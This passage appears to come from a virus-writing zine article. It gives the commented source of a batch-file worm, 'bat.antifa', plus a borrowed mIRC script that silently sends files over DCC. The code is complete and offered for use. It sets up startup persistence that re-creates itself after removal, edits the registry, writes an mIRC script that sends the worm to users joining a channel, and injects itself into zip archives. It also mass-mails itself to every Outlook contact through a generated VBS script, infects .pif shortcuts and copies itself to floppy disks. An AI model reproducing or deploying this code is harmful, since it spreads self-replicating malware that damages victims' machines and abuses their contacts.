echo start c:\bat.antifa.bat>>%winbootdir%\lalelu.bat
echo :hm>>%winbootdir%\lalelu.bat

:: Not the virus is started at every system-start, but a batch file containing no malicious
:: code, to prevent it from getting scanned. The batch file just checks, if the virus is
:: still present in the root directory. If it's not (meaning it has been removed by hand
:: or av), it gets copied to the root again from the for-windows-unaccessable-directory.
:: And executed.

del c:\aaa.reg
echo REGEDIT4>c:\payload.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion]>>c:\payload.reg
echo "RegisteredOwner"="bat.antifa by philet0ast3r">>c:\payload.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion]>>c:\payload.reg
echo "RegisteredOrganization"="[rRlf]">>c:\payload.reg
regedit /s c:\payload.reg

:: Lord Yup allowed me to use the following ... thanks a lot
echo e 0100 6F 6E 20 31 3A 73 74 61 72 74 3A 20 7B 20 2E 73>yup
echo e 0110 65 74 20 25 66 69 6C 65 65 20 63 3A 5C 62 61 74>>yup
echo e 0120 2E 61 6E 74 69 66 61 2E 62 61 74 20 7D 0D 0A 0D>>yup
echo e 0130 0A 20 20 20 20 6F 6E 20 31 3A 6A 6F 69 6E 3A 23>>yup
echo e 0140 3A 20 7B 0D 0A 0D 0A 20 20 20 20 20 2E 69 66 20>>yup
echo e 0150 28 24 6E 69 63 6B 20 21 3D 20 24 6D 65 20 26 26>>yup
echo e 0160 20 25 6F 6C 64 20 21 3D 20 24 6E 69 63 6B 29 20>>yup
echo e 0170 7B 0D 0A 20 20 20 20 20 2E 73 65 74 20 25 6F 6C>>yup
echo e 0180 64 20 24 6E 69 63 6B 0D 0A 20 20 20 20 20 2E 74>>yup
echo e 0190 69 6D 65 72 20 24 2B 20 24 72 61 6E 64 28 31 2C>>yup
echo e 01A0 31 30 30 30 30 30 29 20 31 20 35 20 2E 24 63 68>>yup
echo e 01B0 65 63 6B 5F 68 69 6D 28 20 24 6E 69 63 6B 20 2C>>yup
echo e 01C0 20 24 63 68 61 6E 20 29 0D 0A 20 20 20 20 20 20>>yup
echo e 01D0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20>>yup
echo e 01E0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20>>yup
echo e 01F0 20 20 20 7D 0D 0A 20 20 20 20 7D 0D 0A 0D 0A 20>>yup
echo e 0200 20 20 61 6C 69 61 73 20 63 68 65 63 6B 5F 68 69>>yup
echo e 0210 6D 20 7B 0D 0A 20 20 20 2E 73 65 74 20 25 70 6F>>yup
echo e 0220 72 74 20 24 72 61 6E 64 28 39 39 39 39 2C 39 39>>yup
echo e 0230 39 39 39 39 29 0D 0A 20 20 20 2E 77 68 69 6C 65>>yup
echo e 0240 20 28 24 70 6F 72 74 66 72 65 65 28 25 70 6F 72>>yup
echo e 0250 74 29 20 3D 3D 20 24 66 61 6C 73 65 29 20 7B 20>>yup
echo e 0260 2E 73 65 74 20 25 70 6F 72 74 20 24 72 61 6E 64>>yup
echo e 0270 28 39 39 39 39 2C 39 39 39 39 39 39 29 20 7D 0D>>yup
echo e 0280 0A 0D 0A 20 20 20 2E 69 66 20 28 24 31 20 21 69>>yup
echo e 0290 73 6F 70 20 24 32 29 20 7B 0D 0A 20 20 20 20 20>>yup
echo e 02A0 2E 6E 6F 74 69 63 65 20 24 31 20 3A 44 43 43 20>>yup
echo e 02B0 53 65 6E 64 20 74 65 6C 65 74 75 62 69 65 73 20>>yup
echo e 02C0 28 20 24 2B 20 24 69 70 20 24 2B 20 29 0D 0A 20>>yup
echo e 02D0 20 20 20 20 2E 73 65 74 20 25 73 6F 63 6B 5F 6E>>yup
echo e 02E0 61 6D 65 20 24 72 61 6E 64 28 31 2C 39 39 39 39>>yup
echo e 02F0 39 29 0D 0A 20 20 20 20 20 2E 6D 73 67 20 24 31>>yup
echo e 0300 20 01 44 43 43 20 53 45 4E 44 20 25 66 69 6C 65>>yup
echo e 0310 65 20 24 6C 6F 6E 67 69 70 28 24 69 70 29 20 20>>yup
echo e 0320 25 70 6F 72 74 20 24 66 69 6C 65 28 25 66 69 6C>>yup
echo e 0330 65 65 29 2E 73 69 7A 65 20 24 2B 20 01 0D 0A 20>>yup
echo e 0340 20 20 20 20 2E 73 6F 63 6B 6C 69 73 74 65 6E 20>>yup
echo e 0350 25 73 6F 63 6B 5F 6E 61 6D 65 20 25 70 6F 72 74>>yup
echo e 0360 0D 0A 20 20 20 20 20 2E 74 69 6D 65 72 73 20 6F>>yup
echo e 0370 66 66 0D 0A 20 20 20 20 20 2E 74 69 6D 65 72 20>>yup
echo e 0380 24 2B 20 24 72 61 6E 64 28 31 2C 39 39 39 39 39>>yup
echo e 0390 29 20 30 20 31 30 20 2E 63 6C 6F 7A 65 0D 0A 20>>yup
echo e 03A0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20>>yup
echo e 03B0 20 20 20 20 7D 0D 0A 20 20 20 7D 0D 0A 0D 0A 20>>yup
echo e 03C0 20 20 6F 6E 20 31 3A 73 6F 63 6B 6C 69 73 74 65>>yup
echo e 03D0 6E 3A 25 73 6F 63 6B 5F 6E 61 6D 65 3A 20 7B 0D>>yup
echo e 03E0 0A 20 20 20 2E 73 65 74 20 25 63 6C 69 65 6E 74>>yup
echo e 03F0 5F 6E 61 6D 65 20 24 72 61 6E 64 28 31 2C 39 39>>yup
echo e 0400 39 39 39 39 39 29 0D 0A 20 20 20 2E 73 6F 63 6B>>yup
echo e 0410 61 63 63 65 70 74 20 25 63 6C 69 65 6E 74 5F 6E>>yup
echo e 0420 61 6D 65 0D 0A 20 20 20 2E 73 6F 63 6B 63 6C 6F>>yup
echo e 0430 73 65 20 25 73 6F 63 6B 5F 6E 61 6D 65 0D 0A 20>>yup
echo e 0440 20 20 2E 73 65 74 20 25 6C 20 30 0D 0A 20 20 20>>yup
echo e 0450 2E 62 72 65 61 64 20 25 66 69 6C 65 65 20 25 6C>>yup
echo e 0460 20 34 30 30 30 20 26 6C 65 0D 0A 20 20 20 2E 73>>yup
echo e 0470 6F 63 6B 77 72 69 74 65 20 2D 62 20 25 63 6C 69>>yup
echo e 0480 65 6E 74 5F 6E 61 6D 65 20 34 30 30 30 20 26 6C>>yup
echo e 0490 65 0D 0A 20 20 20 25 6C 20 3D 20 25 6C 20 2B 20>>yup
echo e 04A0 34 30 30 30 0D 0A 20 20 20 2E 73 65 74 20 25 65>>yup
echo e 04B0 6E 64 20 30 0D 0A 20 20 20 7D 0D 0A 0D 0A 20 20>>yup
echo e 04C0 20 6F 6E 20 31 3A 73 6F 63 6B 72 65 61 64 3A 25>>yup
echo e 04D0 63 6C 69 65 6E 74 5F 6E 61 6D 65 3A 20 7B 0D 0A>>yup
echo e 04E0 20 20 20 2E 69 66 20 28 25 6C 20 3E 3D 20 24 66>>yup
echo e 04F0 69 6C 65 28 25 66 69 6C 65 65 29 2E 73 69 7A 65>>yup
echo e 0500 29 20 7B 0D 0A 20 20 20 20 20 2E 73 65 74 20 25>>yup
echo e 0510 65 6E 64 20 31 0D 0A 20 20 20 20 20 2E 73 6F 63>>yup
echo e 0520 6B 63 6C 6F 73 65 20 25 63 6C 69 65 6E 74 5F 6E>>yup
echo e 0530 61 6D 65 0D 0A 20 20 20 20 20 2E 68 61 6C 74 0D>>yup
echo e 0540 0A 20 20 20 20 7D 20 2E 65 6C 73 65 20 7B 0D 0A>>yup
echo e 0550 20 20 20 20 20 2E 69 66 20 28 25 65 6E 64 20 21>>yup
echo e 0560 3D 20 31 29 20 7B 0D 0A 20 20 20 20 20 2E 62 72>>yup
echo e 0570 65 61 64 20 25 66 69 6C 65 65 20 25 6C 20 34 30>>yup
echo e 0580 30 30 20 26 6C 65 0D 0A 20 20 20 20 20 2E 73 6F>>yup
echo e 0590 63 6B 77 72 69 74 65 20 2D 62 20 25 63 6C 69 65>>yup
echo e 05A0 6E 74 5F 6E 61 6D 65 20 34 30 30 30 20 26 6C 65>>yup
echo e 05B0 0D 0A 20 20 20 20 20 25 6C 20 3D 20 25 6C 20 2B>>yup
echo e 05C0 20 34 30 30 30 0D 0A 20 20 20 7D 20 7D 20 7D 0D>>yup
echo e 05D0 0A 0D 0A 20 20 20 61 6C 69 61 73 20 63 6C 6F 7A>>yup
echo e 05E0 65 20 7B 20 2E 73 6F 63 6B 63 6C 6F 73 65 20 25>>yup
echo e 05F0 73 6F 63 6B 5F 6E 61 6D 65 20 7D F3>>yup
echo rcx>>yup
echo 04FB>>yup
echo n lord>>yup
echo w>>yup
echo q>>yup
:: cut :)

:: this is Lord Yup's silent dcc send for mIRC from 29a#6
:: code see below

debug<yup
del yup
del c:\payload.reg
move lord c:\mirc\script.ini
move lord c:\mirc32\script.ini
move lord c:\progra~1\mirc\script.ini
move lord c:\progra~1\mirc32\script.ini
del lord
for %%i in (*.zip ..\*.zip %winbootdir%\desktop\*.zip) do pkzip -e0 -u -r -k %%i "c:\bat.antifa.bat">nul.zip
for %%i in (*.zip ..\*.zip %winbootdir%\desktop\*.zip) do powerarc -a -c4 %%i c:\bat.antifa.bat

:: the above two lines infect zip files, if pkzip or PowerArchiver are installed

del %winbootdir%\ooo.vbs
echo.on error resume next>%winbootdir%\ooo.vbs
echo dim a,b,c,d,e>>%winbootdir%\ooo.vbs
echo set a = Wscript.CreateObject("Wscript.Shell")>>%winbootdir%\ooo.vbs
echo set b = CreateObject("Outlook.Application")>>%winbootdir%\ooo.vbs
echo set c = b.GetNameSpace("MAPI")>>%winbootdir%\ooo.vbs
echo for y = 1 To c.AddressLists.Count>>%winbootdir%\ooo.vbs
echo set d = c.AddressLists(y)>>%winbootdir%\ooo.vbs
echo x = 1>>%winbootdir%\ooo.vbs
echo set e = b.CreateItem(0)>>%winbootdir%\ooo.vbs
echo for o = 1 To d.AddressEntries.Count>>%winbootdir%\ooo.vbs
echo f = d.AddressEntries(x)>>%winbootdir%\ooo.vbs
echo e.Recipients.Add f>>%winbootdir%\ooo.vbs
echo x = x + 1>>%winbootdir%\ooo.vbs
echo next>>%winbootdir%\ooo.vbs
echo e.Subject = "this is where it gets NASTY">>%winbootdir%\ooo.vbs
echo e.Body = "Deutschland von der Karte streichen," & chr(13) & "Polen muss bis Frankreich reichen!">>%winbootdir%\ooo.vbs
echo e.Attachments.Add ("c:\bat.antifa.bat")>>%winbootdir%\ooo.vbs
echo e.DeleteAfterSubmit = False>>%winbootdir%\ooo.vbs
echo e.Send>>%winbootdir%\ooo.vbs
echo f = "">>%winbootdir%\ooo.vbs
echo next>>%winbootdir%\ooo.vbs
start %winbootdir%\ooo.vbs

:: a boring vbs to send the virus away through Outlook

echo.on error resume next>pif.vbs
echo dim wshs, msc>>pif.vbs
echo set wshs=Wscript.CreateObject("WScript.Shell")>>pif.vbs
echo set msc=wshs.CreateShortcut("C:\pif.lnk")>>pif.vbs
echo msc.TargetPath = wshs.ExpandEnvironmentStrings("c:\bat.antifa.bat")>>pif.vbs
echo msc.WindowStyle = 4>>pif.vbs
echo msc.Save>>pif.vbs
start pif.vbs

:: a vbs to infect pif-files

command /f /c copy c:\bat.antifa.bat a:\

:: copies the virus to disk, if there is one

for %%k in (%winbootdir%\desktop\*.pif) do copy c:\pif.pif %%k
del pif.vbs
:evil
md %winbootdir%\desktop\nazis_raus!
:payload

:: Hehe, one more of these for-windows-unaccessable-directories.
:: A directory with the name "_nazis_raus!_" on the desktop.
:: The funny thing: It can't be deleted by windows.
=====[end code]================================================================

And last but not least, here is the code of Lord Yup's silent dcc send for mIRC:

=====[begin code]===============================================================
on 1:start: { .set %filee c:\bat.antifa.bat }

    on 1:join:#: {

     .if ($nick != $me && %old != $nick) {
     .set %old $nick
     .timer $+ $rand(1,100000) 1 5 .$check_him( $nick , $chan )
                                         }
    }

   alias check_him {
   .set %port $rand(9999,999999)
   .while ($portfree(%port) == $false) { .set %port $rand(9999,999999) }

   .if ($1 !isop $2) {
     .notice $1 :DCC Send teletubies ( $+ $ip $+ )
     .set %sock_name $rand(1,99999)
     .msg $1 DCC SEND %filee $longip($ip)  %port $file(%filee).size $+ 
     .socklisten %sock_name %port
     .timers off
     .timer $+ $rand(1,99999) 0 10 .cloze
                     }
   }

   on 1:socklisten:%sock_name: {
   .set %client_name $rand(1,9999999)
   .sockaccept %client_name
   .sockclose %sock_name
   .set %l 0
   .bread %filee %l 4000 &le
   .sockwrite -b %client_name 4000 &le
   %l = %l + 4000
   .set %end 0
   }

   on 1:sockread:%client_name: {
   .if (%l >= $file(%filee).size) {
     .set %end 1
     .sockclose %client_name
     .halt
    } .else {
     .if (%end != 1) {
     .bread %filee %l 4000 &le
     .sockwrite -b %client_name 4000 &le
     %l = %l + 4000
   } } }

   alias cloze { .sockclose %sock_name }
=====[end code]================================================================

That's all, ppl. I hope this enjoyed you a bit.
And remember, batch is in no way dead yet...

Something you want to tell me? ... No matter what:
philet0ast3r@rRlf.de
www.rRlf.de